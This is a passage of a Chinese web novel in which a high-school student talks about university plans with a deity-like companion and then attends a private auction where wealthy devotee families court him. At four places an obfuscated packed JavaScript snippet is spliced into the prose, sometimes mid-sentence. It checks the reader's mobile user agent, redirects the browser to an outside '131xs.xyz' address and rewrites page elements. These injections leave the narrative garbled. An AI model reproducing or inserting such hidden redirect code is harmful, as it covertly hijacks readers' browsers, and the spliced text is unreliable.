他们这些要对付纪复森的人拉了一个小群,早上郎放在群里留言问:“大家休息得怎么样?有没有什么异常?”庄晓回复,说谢谢蒋良霖送的麦当劳、肯德基、汉堡王大套餐。郎放一家要休息,不能开火帮衬庄晓一家,庄晓做饭又难吃,蒋良霖干脆开车去每个快餐店打包一大堆汉堡、炸鸡、薯条,让庄晓全部塞冰箱,要吃的时候就拿出来微波炉转一转。庄晓说这些足够他们吃到下个星期了。小孩子都喜欢吃快餐,庄理安尤其。庄理安味觉很不敏感,可他好像喜欢炸鸡和面包的口感。 庄理安需要再休息一阵子。庄晓说,庄理安似乎恢复了一些对励光厂的“视力”,这真是神奇。现在三楼的房子里撤掉了宝殿设置,庄晓的点外卖权应该也恢复了。除此之外,庄晓还需要时间消化一些事,属实没有精力与人多说。 施霜景隔了好几个小时才回复:“我休息好了。你们年前就要走吗?”配上好几个“难过”的表情。 蒋良霖:是呀,我们回H市过年啦。过完年我们要带小鼓去美国住一阵子,总不能让她继续当失学儿童吧? 感觉蒋念琅看到这句话要闹。施霜景隔着屏幕露出微笑,仿佛想到了蒋念琅闹她父母的场景,特别可爱,特别温馨。 郎放:佛子说二十号举行仪式,我们二十二号聚一聚,然后就走了 郎放:小景,你要是需要我们,随时微信联系 蒋良霖:小鼓有手机和微信号,她现在正烦我呢,让我转告你,你记得加她! 施霜景果然看到一个新鲜的好友申请,头像是小女孩朝镜头直直伸出双手比耶,跟拍大头照似的,有点土又有点萌,名字叫“玉良小队长”。 好友申请通过。 玉良小队长:小景哥! 一剑霜寒:你好呀,小鼓 一剑霜寒:玉良小队长是什么意思? 玉良小队长:对方正在输入中…… 玉良小队长:妈妈说,不要做大队长,大队长有官瘾;不要做中队长,中队长干的活比大队长多,但老是被大队长压一头;我做小队长就好,是个班干部,可以戴袖标,平时就收收作业,说出去也是个队长,是我赚到了! 蒋念琅小小年纪就这么会搞抽象,到底是有人教的还是她天生的? 施霜景忍笑忍得很辛苦,把手机递给罗爱曜。罗爱曜也是这个流程,看蒋念琅的头像、微信名、聊天记录。 罗爱曜:“她都没能好好上完一年级的第一学期,当什么小队长?” 施霜景:“……真刻薄。就是让你看看她说话多可爱,没人要求她一定当上什么小队长。” 玉良小队长:小景哥,怎么不说话? 玉良小队长:我一个人好无聊,回H市没人陪我玩[哭哭] [哭哭] [哭哭] [哭哭] 一剑霜寒:我还在看你刚才发的小队长宣言,太搞笑了 玉良小队长:! 玉良小队长:小景哥可以考H市的大学啊! 一剑霜寒:那我可考不上 一剑霜寒:你爸爸妈妈会陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534418|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你玩的 一剑霜寒:我要好好学习了 玉良小队长:那好吧[哭哭] [哭哭] 玉良小队长:小景哥加油哦,加油加油加油加油加油 玉良小队长:我看小景哥你起码能上个二本! 施霜景想,那我真是借你吉言了。龙说的好话应该能听吧?这可是龙啊! 他一点不觉得蒋念琅说他上二本会冒犯到他。施霜景很清楚,自己的能力就到这里,人贵有自知之明。 “佛子,起床了。小鼓说我起码能上二本呢。” “施霜景,如果你能考上大学,你想学什么专业?” 这个问题不陌生,可从来就没有过答案。这轮得到施霜景选吗?“有什么专业就读什么专业。”施霜景说道。 他这辈子都是这样过来的。小学、初中、高中,有什么地方要他他就来。工作也是。人也是。谁要他他就来。 “我问的是你‘想’学什么专业。你暂时不用考虑现实。”罗爱曜加了重音,强调出他想问的是意愿,而不是妥协。 施霜景一遇到这样直击心窝的问题,就会下意识找猫。怎么说呢,施霜景自己不会提取出这样的认知,但在千百次实践中,施霜景能感觉到自己非常害怕靠近自己的内心,倾听自己心里的答案。否则此刻他不会有战栗的感觉。不问、不听、不知道,就可以当做没有、不需要、不在意。 “不知道。”找不到猫。“我真不知道。我没什么喜欢的专业。” “那你喜欢什么?” “唱歌,猫,钱。”施霜景掰着手指,就只数出这三样。 “你是理科生,走艺考肯定来不及了,唱歌这项划去。喜欢猫——想做兽医吗?钱——喜欢管钱还是花钱?”罗爱曜将施霜景的答案导向一个个更精确的方向。 这下施霜景稍微有点感觉了,“喜欢管钱!!” 这句回答超级斩钉截铁。 罗爱曜坐起来,他和施霜景都将下半身藏进被子里,施霜景微微俯身团着被子,罗爱曜就也俯身,观察施霜景的表情。 “我还以为你会喜欢花钱。”刚说完,罗爱曜就想起施霜景磨蹭几个月也花不完几十万的光荣事迹。以为什么以为。罗爱曜的预估能力不能如此失准吧!他在内心默默鄙视自己。 施霜景:“我不喜欢花钱,我喜欢攒钱、存钱、理钱。我看见钱就高兴。” “不是你自己的钱也可以?” “我懂了,你是让我去学会计之类的专业。”施霜景说,“我数学很差啊。能学肯定就去学了。财会方面的专业分数线很高。” 罗爱曜深吸一口气,决定下床,辅导小孩学习。 有些争议,搁置着搁置着就可以当做忘记,但罗爱曜不是这样的人。搁置的争议会让罗爱曜一层层裹上自己对争议的理解,越想越多,越裹越多。罗爱曜仔细地听施霜景心里的想法,可他发现施霜景根本不想这些东西。 罗爱曜决定,接下来这段时间,他会仔仔细细地听施霜景的想法,一个字都不要错过。施霜景到底是怎么想的,有没有前后文,他的情绪,他的小心思,他会不会不耐烦,会不会阳奉阴违…… 罗爱曜抬眼看见门边只露出上半张脸的玉米,小猫静悄悄,仔仔细细地观察。罗爱曜接下来也会这样,静悄悄,仔仔细细地观察。 94.他戴玄珠可示我(一) 年前最后一天上课,施霜景回学校,拿寒假作业和辅导材料。既然他要听老师布置寒假作业,干脆那天留在班里,顺便听课。 只是两个月没留在班里,隔阂感就变得好明显。施霜景觉得自己像旁听生,倒是比当正经学生时更认真。在家自习的这两个月,施霜景彻底找回了自己的注意力。老师讲的东西渐渐能留在脑子里,不论是知识、作业要求、考试题型还是重要时间点,施霜景流畅地记笔记,游泳换气一般抬头、低头,很有节奏。 放学时,张国强走到施霜景的桌边,“三月份考二诊,你年后能回来一起听课吗?” “我要和舅舅商量一下。” “这些卷子,要是寒假写完了就送回来。我们都要改的。”张国强佯装随意地点了点桌上的寒假作业,“对了,你舅舅是哪里人啊?在哪里求财呢?” “……” “感觉你舅舅有点像沿海那边的,做什么行业的啊?” 学校里像张国强这样打听罗爱曜的人可太多了。施霜景屡次装傻,别人就屡次来问。明明罗爱曜根本就没有暴露太多信息——不对,是“编造”太多信息。学校里的老师和职工大概也就知道罗爱曜可能是做生意的,反正是有钱人嘛。有钱人跑来大山里陪小孩读书,诡奇,但有钱人有时候就这样难以捉摸,旁的人越计较,就显得有钱人越有余裕,已经有钱的人做什么都只是打发时间而已。 施霜景与同学一起做完这学期最后一次值日,正在厕所里给洗干净的拖布挤水,忽然听见此起彼伏的惊呼声。施霜景将拖布放回桶里,教学楼天井里飘扬着鹅毛雪片,洋洋洒洒,原来是突然下大雪。 施霜景和同学一起穿过操场走向校门,吞吐寒霜空气,雪花往睫毛上贴。 他要开始猫冬了。往年这时候,施霜景马上就规划着要去打工,他会在寒假开始前的一两周就找好打寒假工的地方。那些曾经收留过施霜景的店面,施霜景全都发消息谢过了,尤其今年两样零工,菜鸟驿站与手打柠檬茶,施霜景的经济条件不再那么受限,加之他要好好学习,不能再去打工,施霜景就郑重地发了消息给老板们,解释了自己的近况。他说,福利院里给他申请到了一笔新的资金,不用再打工了,特别感谢老板们以前照顾他。菜鸟驿站的女老板不用说,大家都是邻居,还能和邻居翻脸不成?柠檬茶店老板现在还会经常给施霜景新发的翻唱点赞,应该是不介意施霜景辞工。 真好。今年是真的可以“猫冬”了。学习比打工轻松。贫穷曾是永不止息的忙碌,让施霜景紧巴巴地抠出睡觉的时间,剩下全用来交易。高中生做的计算是求极限、求导。贫穷让他一直停留在等式的时代。赚来的钱永远都一分不少地花掉,存不下来,赚钱只为了活,活就只能赚刚刚够用的钱……忆苦思甜结束,施霜景去菜鸟驿站取了两大袋猫粮,绝不空手回家。 一回家,施霜景就看见罗爱曜在房间里走进走出,大衣配西装的,应该是在找什么东西,没找到,所以没能出门。 “佛子,你在找什么?”施霜景放下猫粮,朝楼道抖了抖围巾和帽子上的雪,这才关门,脱外套,挂起这些被雪浸湿的衣物。 “没什么。”罗爱曜叉腰,不打算再找了,他看向施霜景,“换衣服,跟我出门。” “去干嘛?” “去了你就知道。” “到底去干什么?雪很大,开车危险,你要去干什么?” 施霜景真的不愿意出门。外面飘鹅毛大雪,S省鲜少下这样大的雪,还不知道要下多久。万一到了晚上有积雪凝成冰该怎么办? 平时都是罗爱曜用这样强硬的语气,今天施霜景忽然用一下,罗爱曜觉得很新鲜。“你不要穿那些运动装,可以穿我的。”说着说着,罗爱曜把施霜景拖进屋里,之前他们从三楼转移了一些衣服到四楼。 黑色高领毛衣,宽松西装裤,皮带。马上就逼施霜景脱校服,换上罗爱曜的衣服。男装号数按身高算,施霜景穿罗爱曜的衣服只会觉得大,幸好高领毛衣有弹力。施霜景腿长,裆部位置高,竟然穿罗爱曜的裤子也就是微长,搭双合适的鞋就不会拖地。 施霜景非常狐疑,罗爱曜这是第一次折腾衣服折腾到他身上。是要去见什么人吗?见谁需要穿这么正式?想着想着,罗爱曜将施霜景的项链从衣领里掏出来,环着黑色高领。罗爱曜继续叉腰打量施霜景,心里其实有更适合的方案,今天来不及了,就先随便穿穿。施霜景今天也是第一次穿罗爱曜的外套,昂贵外套的垂感都很不一样。 罗爱曜抓上车钥匙,也抓上施霜景,施霜景趁乱撸了一把玉米的小猫头,被迫关门。 两人一头扎进雪里,车停得不远,可坐上车的时候,两人头发又都微湿了。 触控屏亮起,施霜景找暖气开关,罗爱曜看也不看地调好了暖气大小和出风口方向,“系安全带。” 施霜景照做。罗爱曜熟练地在大雪中开车,施霜景起初还挺心惊,开着开着,施霜景想,他干嘛担心罗爱曜的车技,难道有人真的能撞上罗爱曜的车?反正他是佛子,该躲肯定能躲掉。 难道是约会?施霜景突然跳出这个想法。 这可真叫罗爱曜难以否认。不是约会,但这能说? 下雪天,车道小堵,他们大概开了一个半钟头,似乎终于是开到目的地,路上施霜景歪头就睡,他的习惯是上车就睡觉。车驶入地下停车场,刚才施霜景在车里看见这大楼的造型很奇特,可能是出自某个著名建筑设计工作室。刚放学就被罗爱曜拉进市里,施霜景有点饿。两人乘电梯上到一楼,施霜景发现建筑内部完全就是工作场所,不是商场之类的,心里就明白,这大概率不会是约会、吃饭之类的活动。 所以施霜景问:“要多久才办完事?我饿了,如果要拖到晚上八九点才吃饭,能不能让我先找些东西垫下肚子?” 罗爱曜不响,牵着施霜景进了写字楼旁边的咖啡店,替他买了可颂和咖啡。施霜景心想就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548577|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点东西,哪还需要坐下找位置,他三下五除二站着就把可颂吃完了。施霜景不怎么喝纯咖啡,总觉得喝咖啡跟喝中药似的,所以罗爱曜给他买的是近乎甜水的调配咖啡,抹茶口味,施霜景很喜欢,尝第一口露出惊喜神色。 “佛……” “今天晚上,你叫我舅舅,不然就不要喊我。”罗爱曜打断施霜景。 接下来的话都是在内心来回抛接,变成了秘密的对话形式。咖啡厅里聚坐着许多附近写字楼下班的白领男女,施霜景和罗爱曜站在门边的嵌墙长桌旁,外套也不脱,很明显是聊几句快话就要走了。可是这什么舅舅外甥的,他俩像么?这也太像某种情趣了。 罗爱曜:今晚有人要拍卖我的供奉小像,我们就来看看。 施霜景:拍卖???你的???谁??你的信徒做的吗? 罗爱曜:不会是我的信徒。事实上,今天会有很多我的信徒到场,准备拍下这尊小像。我肯定不会以应身示人,但我又很想凑这个热闹,想知道究竟是怎么回事。你看我的眼睛。 施霜景这才发现,罗爱曜的眼睛已经全然改换成了棕黑色。那双标志性的蓝眼睛被藏了起来。 罗爱曜:你喊我舅舅,我借了你母家的姓氏,但大家应该都用化名,所以我叫什么不重要,你不用记得我的假名,叫我舅舅就行。 施霜景:我需要做些什么吗? 罗爱曜:你随意,就当来玩的。我的信徒不会认出我,但他们大概率会认出你。 施霜景神色一变。为什么? 罗爱曜伸手摩挲着施霜景项上的链珠,动作暧昧,说话坦荡。 罗爱曜:在我的信徒眼中,这些玄珠会呈我眼睛的蓝色,说是佛珠,其实是一百零八佛眼。我的信徒大多都是以家族形式供奉我,一些人已经知道我醒了,都想接我,但没有任何信息。 罗爱曜:他们接近你,我就挡开他们。我带你去信徒面前亮亮眼。 罗爱曜:你不是觉得我把你挡在我的世界之外吗? 罗爱曜:这需要一步一步来。 罗爱曜想,先进我的宝殿才是倒反天罡。没有人是一来就接触最危险的东西。甜头一点没尝到,尽吃苦头了。 施霜景傻眼。罗爱曜不早说?早说了他都不会出这个门啊。罗爱曜行事作风高调,施霜景可不是这样的人。他本来就寡言少语,去大场面就更是如此。施霜景有一瞬甚至怀疑罗爱曜这是不是又要逗他了。可看见罗爱曜无比自然地接过施霜景手里的甜水咖啡,帮他喝掉剩下的一口,罗爱曜的表现不像是在看热闹。 西装配风衣,罗爱曜的定位是陪外甥来应酬、付钱的舅舅。施霜景的高领毛衣像珠宝衬布一样,衬托的是佛眼制成的高珠。被佛子选中的外甥不用擅长说话,外甥到场就行了。小孩嘛,在场会有那么多由信托宝贝长成的“成功人士”,谁不理解受宠的二十岁小孩,大家都是这么过来的。更何况外甥里外都受宠。外甥想做什么都可以。 95.他戴玄珠可示我(二) 施霜景下午四点半到家,换衣服再出门,他们开车抵达多功能写字楼时,黑天因降雪而呈现一种微微尖刺的质感。天空毛茸茸是乌云清朗夜,天空毛糙糙是粗雪似萤石。 踏入写字楼一层,怎么看都不觉得这家写字楼有在盈利。倒是见着了安检的机器,施霜景转头看向罗爱曜。罗爱曜拎着手提包,看起来非常商业。施霜景开始觉得高领毛衣磨得脖子不舒服了,不知道是心理作用还是不喜欢脖子有拘束感,施霜景扯了扯衣领。 接下来施霜景和罗爱曜都使用他们的秘密交流法。这让施霜景稍微没有那么紧张。这氛围好像电影,那种现代谍战或是高科技大盗电影。说是这么说,施霜景也只是刷过这些电影的小视频而已。施霜景有会读心的佛子哥做搭档,就不需要藏在耳道里的微型耳机。 穿白衬衫外搭定制西装背心的向导从一旁走出,他微微欠身,介绍自己:“您好,我是您的拍卖会向导与讲解员。请将您的邀请函交给我,接下来将由我为两位贵客带路。” 罗爱曜将两张邀请函交给讲解员,一张已经拆开,编号为002,一张是纯新,编号为001。讲解员戴上手套,防止指印留在黑底触感纸上。002号,卓逸纶先生。001号,施霜景先生。确认身份的流程并不复杂,似乎这些工作人员已经事先知悉了贵宾们的面貌、姓名。过安检,机器装模作样地响了响,安保谨慎仔细地为两人检查,施霜景脱下大衣,而后大衣很自然地就到了罗爱曜手里。讲解员从罗爱曜处接走两件大衣和提包,送去保管。 讲解员说:“施先生,卓先生,请跟我来,我们为荣誉嘉宾配备了专属电梯。在预展期间,我们的专家将全程随同二位,作特别的讲解。” “其他人都来了吗?”罗爱曜随意问道。 “我们的预展才刚开始,您来得正好。”讲解员并不直接回答,换了种方式接住罗爱曜的问题。 施霜景单手拢了拢头发,照见电梯里的镜子。好像头发长些是会显得没那么局促、学生气。罗爱曜给施霜景搭的这一身简单却显贵,手表在毛衣袖口若隐若现,腰间系了小牛皮窄腰带,穿起来很不习惯但很适配的皮鞋。施霜景侧身站着,罗爱曜着全套西装,他饶有兴味地看施霜景照镜子。 施霜景:好紧张。大家都好客气。 罗爱曜:讲解员是经理。看他的胸针。 施霜景这才注意到讲解员的胸针,看上去是拍卖行的标志,可惜施霜景认不出来。定睛一看,胸针上带钻,而且不止一颗。这真吓人。 罗爱曜:他很专业,你可以试试向他搭话。在场所有的工作人员都很专业,你想说就说,想问就问。 越是这样的场合,人就越是礼貌。不论是客人还是工作人员,于上流社会,大家唯一在乎的就是社交场的这几个小时的体面,愈体面愈好,极致的、虚伪的体面。 罗爱曜这样怂恿施霜景,奈何施霜景还没找到开口的机会,电梯就已经显示到达了指定楼层。电梯门打开,讲解员伸手挡门,送罗爱曜与施霜景出电梯。他边走边介绍道:“欢迎来到本次‘大隐’私人拍卖会。我们的预展将持续到七点半,专家已经在展厅门口等二位了。预展结束后,所有嘉宾将移动到拍卖会会场。我们所寄送的藏品介绍手册中介绍了四件展品,最后一件展品仅限预展现场展示。我们为最后一件展品专设了私密展示厅,二位是序号最前的荣誉嘉宾,享有最优先的参观权。如果您需要参观,请随时向专家提出您的需求。” 这写字楼的层高挑高好高,写字楼外表看起来特别前卫,施霜景以为内部也是十足的现代风格,可这层不是这样。在如此挑高的一层里,预展的布置浓淡有致、色彩鲜明,如梦又如画,倒像是时装展的展厅。展厅大概是做了本土化的设计,符合D市的主题,参与拍卖的也大多是中国人,就更为契合目标群体。主展厅被圈划出来,围成了不规则形状,高约三米的墙仿的是屏风。人声轻而易举地越过墙头,人数并不多,因此声音也非常微茫,像屏风上描画的人在低语。 施霜景终于开口:“这是我第一次来拍卖会,我也没有看过藏品手册。”这是对讲解员说话。来都来了。 “施先生,没关系的,不论是预展还是拍卖会现场,我会一直在您的视线范围内,您需要的时候,招我过来就好。”讲解员挂上专业的微笑,“拢共五件藏品,您愿意的话,让专家一件件讲给你听就好,不会花费很长的时间。您受邀来参加拍卖会,应该是有心仪的藏品?如果您对拍卖流程不熟悉,如果您需要——或许我们也可以有私洽的空间。” “谢谢你。”施霜景真挚道。 讲解员微微欠身。 施霜景:他真的好客气啊。拍卖会都是这样吗? 罗爱曜:当然不。拍卖行都有自己的脾气,就算你是超高净值用户,他们背后只会是更高净值的资本势力。他只是希望能以尽可能高的价格出手展品而已。你是001号客户,是这个私人拍卖会设立的原因。 施霜景脚步一顿,在讲解员发现之前,罗爱曜就轻轻揽过施霜景的手肘,带着他往前走。 罗爱曜下一步的解释已经在心头酝酿,忽然间接到施霜景的想法。 施霜景:我什么时候被邀请的?为什么我是001号客户?罗爱曜,这是不是你自己组的局? 施霜景:不然我想不通为什么别人会知道我。 罗爱曜:…… 罗爱曜:我为什么要组局呢?你还缺这么一尊佛像吗? 罗爱曜:至于你为什么是001号客户,是因为你被出手佛像的卖家当做最有可能拍下藏品的人。我不知道他为什么会知道你。 施霜景的怀疑思路忽然被打断。他们进入了预展展厅。 这整一层的打光都介于暧昧朦胧和明亮光耀之间。暧昧朦胧的是地灯、墙灯、顶灯,明亮光耀的是展品的打光灯,展台不多,光便聚拢,人贴着光,三三两两地相聚、洽谈。除此之外,似乎是为了填实这空旷场地,墙上布置了艺术品,拍卖品展台附近也布置了小的、零星的展台。 讲解员与专家碰面,专家不是拍卖行员工,而是签合同办事的学者。专家甫一准备走过来,罗爱曜就抬了抬手,示意专家和讲解员都暂时不要靠近。 交谈声仍未断绝,可那种令人背脊一悚的凝视感缓缓浮现上来。很多人都注意到了刚进展厅的二人。 二人并未站定。穿定制深蓝暗线西装的男人个子略高,身形挺拔,容貌昳丽,是出挑,十分出挑,眼睛一瞬间都往他看去。冥冥中有一股力将目光又拉回来,发现穿随意黑色高领毛衣的男人才真正是个狠角色。他似乎不大习惯来到这般衣香鬓影的场合,略有拘谨,可光手上那块表就够了准入这一阶级的资格。八位数的腕表半藏在衣袖里,表不被主人当回事,主人就好像随意地洗了把脸、抓了件衣服就过来参加私人拍卖会。天知道会不会是哪家二世祖过来代家里的大人来取货,顺便找找拍卖的手感。 买家与买家之间大多不熟,也不会互相知道编号,只是在这些人与人的小小聚落里,每个聚落总会有一两个人死盯着黑色毛衣的男人。 一百零八佛眼并不似人眼,而是眼型的繁复文字。字在玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对施霜景来说,画面中的风景、城郭是异域的,女人却有东方人的气质,令施霜景感到些许熟悉。散落一地的铸币像跟在女人身后的星星,女人回头看向这些金币,没有捡起它们,但也没有继续往前走。 施霜景问罗爱曜:“这幅画大概多少钱?” 罗爱曜轻快道:“起拍价至少五百万吧,我预计成交价在八百万左右。” 施霜景倒吸一口凉气。 施霜景:你疯了?有人在期待我当冤大头?你把我带来当冤大头? 施霜景:我要是一件藏品都不拍,会被拍卖所扣留吗?我纯粹是来参观的。 罗爱曜:展厅里大大小小的藏品,你要是看中什么,我会刷卡。我只要求你必须参与佛像的竞拍。抢没抢到不重要,你是代表我出席,要的就只是一个态度而已。 施霜景还是觉得罗爱曜好像疯子。钱在他嘴里跟厕纸一样,可就算是厕纸,八百万换算成八百卷厕纸,这也足够多了……施霜景胡思乱想,揉了揉眉心,从画作前退开。 再一抬眼,他发现有人向自己这边走来了。目光,好多有意无意的目光。施霜景呼吸加重,罗爱曜微笑,上前一步挡在施霜景身前,正正好好拦住前来搭话的信徒。 “先生,您好。我姓许,全名许晏之,祖家在泉州,是为福建八正的二正。” 许晏之对施霜景讲,施霜景望向罗爱曜,罗爱曜说:“请你作详细的自我介绍。我外甥对你们信仰的东西并不那么了解。不要假设所有人都知道那个存在。” 施霜景十分认同地点头。 不过,原来有舅舅的感觉是这样的。 96.他戴玄珠可示我(三) 许晏之穿一身骆驼色西装,口音是南方中的南方,发蜡皮鞋黑黄皮肤,人很精神,可能是三十来岁的金融骄子。从暖色的西装到过白的牙齿,许晏之令人想到棕榈树干的手感,野兽毛皮一样的枯叶鞘,油润与干燥并存,想来他应该经常跑大陆。 “抱歉抱歉,我以为你们懂得的会比我更多。刚才我听你讲Sargent,这位先生又戴了贵重东西,我想说是不是佛子想要这幅画,那我就不参与竞拍了。如果佛子愿意,我也想表示一下我的虔诚。请原谅我上前邀谈,我太想抢先了。” 许晏之讲话并不流利,上一个句号结束,下一句开始之前,停顿有些长。他就在这停顿的间隙观察罗爱曜与施霜景。施霜景,当然是重点,旁边的男人不知道是谁,可能是戴佛眼男孩的家长,不好得罪。话说回来,近看更觉得这佛眼串珠令人手脚冰凉,阴寒寒地打量所有人的心思与欲念,光是“看”这一行为就让人足够惊惶。 罗爱曜不响,施霜景不觉得许晏之是在朝自己说话,也就无从接话。许晏之察觉到这冰寒的氛围,这才想起自己忘了仔细介绍他的来历:“今天场上应该是百来号人吧,我也没有仔细点过,但大约有三分之一都是我们这样的人。我祖家是福建八正的二正。‘八正’是为八圣道*,也就是八条通往佛陀的好路、好船。这只是个说法,虽然佛子没有教,但我们掷筊问过,佛子同意了。我们家族与家族间私下互通消息,按资排辈,许家排第二,领到八正中的第二正,也就是‘正思’。说是代号,我们也希望能借到一点佛喜。我们大多都是做出海生意的,佛门八正道也是八船,我想佛子也是因为这个,才只允许我们一块地界有八家的信仰,佛子肯定有他自己的想法。” 光福建就有八家,施霜景之前以为罗爱曜在全国也就八家信徒。施霜景说:“佛子不会和我说这些,我也是第一天听说。那全国一共有多少家族信他呢?” “福建八家,广东十二家,浙江七家,H市三家,然后零星其他家族大概有十几家,听说好像有调整,所以我不确定数字了。彻底离岸的应该也有大约十家。” 施霜景惊讶:“这么多!” 这真的可以吗?!这不都是二十一世纪了吗?信奉怪力乱神到这地步,会不会有点夸张? 许晏之说了实话,看见施霜景这样反应,马上觉出施霜景是个心思单纯的年轻人,许晏之也就放松了些,“是多,但我们平日里也不麻烦,不做出格事的。我们信佛的人啊,最是包容宽广。大家平日就聚一聚,佛子是长辈,看见我们经常联络、互帮互助,他也会高兴的。扯远了。聊到现在还不晓得你的名字呢,我方便问一问吗?” “对不起忘记介绍了,我叫施霜景,施行的施。他是我舅舅,是陪我一起来的。”施霜景一时间没想起舅舅的名字,那就舅舅好了。 “你就是S省人吗?” “嗯。”施霜景老实点头。 “怪不得拍卖会设在S省。我与林南晴打赌,明明在港岛或者H市更方便,为什么突然来D市拍卖,一定是因为与佛子现身有关的人事物跟S省有关。你今年几岁?” 罗爱曜突然出声:“如果我外甥与你们说的那个佛子有关,你这样盘问他,合规矩吗?” 许晏之收起嬉皮笑脸,这舅舅敲打得及时,他差点得意忘形了。“施先生已经介绍过自己了,请问这位舅舅怎么称呼?” “卓逸纶。”罗爱曜说,“这佛珠某天突然出现在我外甥枕边,之后他偶尔梦见佛子,也能与佛子对话。我外甥对拍卖会不熟,我陪他来,也正好看看你们这些人到底是什么面貌。” 许晏之把酒杯放下,单手揣兜,示意施霜景和罗爱曜跟他来。三人路过了另外三件拍卖会主展品,都没停步,反倒是停在了拍卖行自设的小展台前。有时拍卖行会为了将一些易于流通的普货出手,在私人拍卖会中混进这些用作“搭子”的附加拍品。这些展品不会在拍卖会上进行拍卖,可以在线或是电话竞价,或者就像之前的经理所说的,私洽直接拍走藏品。 “这组永乐官窑的青釉莲瓣纹碧水供杯——如果佛子觉得合心意,我直接通知拍卖行将这组货物寄给你们。”许晏之风流地眨眨眼,“这是上世纪七十年代我家从私人渠道购回的佛教供器,民国时期流进了泰国藏家手里,差点就只能在泰国三头象博物馆看见它们了。我祖父深知佛子以莲为主使法器之一,可惜佛子已不现世主持法会了,不然我们应该是直接呈上去,让佛子开开光。” 许晏之不敢直视施霜景,主要是不敢直视施霜景的那串玄珠,于是只能朝着罗爱曜介绍。 施霜景看向罗爱曜,意思是“你的信徒在问你,你表示表示”。 罗爱曜作无所谓状,眼神很快就不在这组青釉莲瓣纹碧水供杯上。 许晏之转过脸来,朝施霜景诚恳道:“我家长辈这次让我来开开路,他们原本都应该到场,但我祖母在家一边擦佛像一边请示,不论怎么擦都擦不出宝石色,夭寿,这就是让他们不要来的意思,只好让我来。我让拍卖行加了这组供杯,总不好把你和卓先生专门请进小房间去洽谈。这就是个礼物,这么当回事还怎么当礼物。你一定不要推辞,帮帮忙,收下这组供杯,我回家也能交差,好不好?” 这时施霜景才看见展台另一侧标了这组供杯的价格,八十万美元一组。这才是真的夭寿!这也是个把钱当厕纸的祖宗! 施霜景:你到底要不要? 罗爱曜:随便。 施霜景:…… 罗爱曜:真的。今天你替佛子做主,不然我今天为什么要带你来? 施霜景深吸一口气,对许晏之说:“我没有地方放这么贵的杯子,这超出了我的消费水平。” 许晏之以为施霜景以这种自谦的方式拒绝,又有些微妙地觉得这是施霜景在说反话。“或者……如果佛子如今有选出道场的位置,我可以将这组供杯留到那时,做道场建成的供奉。”许晏之说。 “这样不错。”施霜景才不知道什么道场不道场,“许先生不要担心佛子的意见,他没有意见,他只是有些无所谓。您什么时候想送都可以,只是我确实不方便保管这组供杯。” 许晏之听这一番话听得夹紧后背。这男孩果然和佛子关系甚密。 一位黑裙女士踩着猫跟鞋走来,许晏之介绍她,她就是与许晏之打赌的林南晴,是印度尼西亚华裔,家族在新加坡与开曼群岛拥有离岸银行,与许晏之的家族在集装箱航运产业方面有深度合作。她倒是说了一口纯正普通话,从小念华文小学,也来中国留学,在B市读完了本科。 他们自我介绍,是为了换施霜景与罗爱曜的自我介绍。罗爱曜说好要替施霜景挡这些套话的,他便很自如地上前,介绍自己做新能源电池生意。他说施霜景母家——卓家是西北人,早年做矿产生意,非常土大款,后来响应环保与新能源政策,转做钴、镍的精细开采,也投资一些非洲国家的钴矿项目,原料主要出口中亚、西欧的制造商,有长期供应协议。林南晴与罗爱曜交换了名片,施霜景发现罗爱曜竟然真的有名片——今晚的震惊实在太多,如同误入电影拍摄现场,施霜景已经有些见怪不怪了。 “我姐姐、姐夫很早便过世了,留施霜景给我们。他还没到可以接手生意的年纪,我们没教太多。”罗爱曜说是这么说,手却揽过施霜景的肩膀,“现在已经七点了,我们只仔细看了第一件展品。很高兴认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548579|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们,我们先失陪片刻,去小房间看压轴展品。之后拍卖会见。” 施霜景与他舅舅走后,林南晴说:“没想到佛子的重心转到了西北地区。难道是沿海地区要不太平了?” 许晏之赶忙打断她:“别乱说话。你对施先生怎么看?” “佛子选了个帅哥。”林南晴用手机扫描记录了罗爱曜的名片,顺便查找相关信息,“所有家族都没派老人,全是我们这一年龄段的年轻人,就是想让施先生不那么紧张吧。我看佛子还挺认真呢。女人的直觉。” 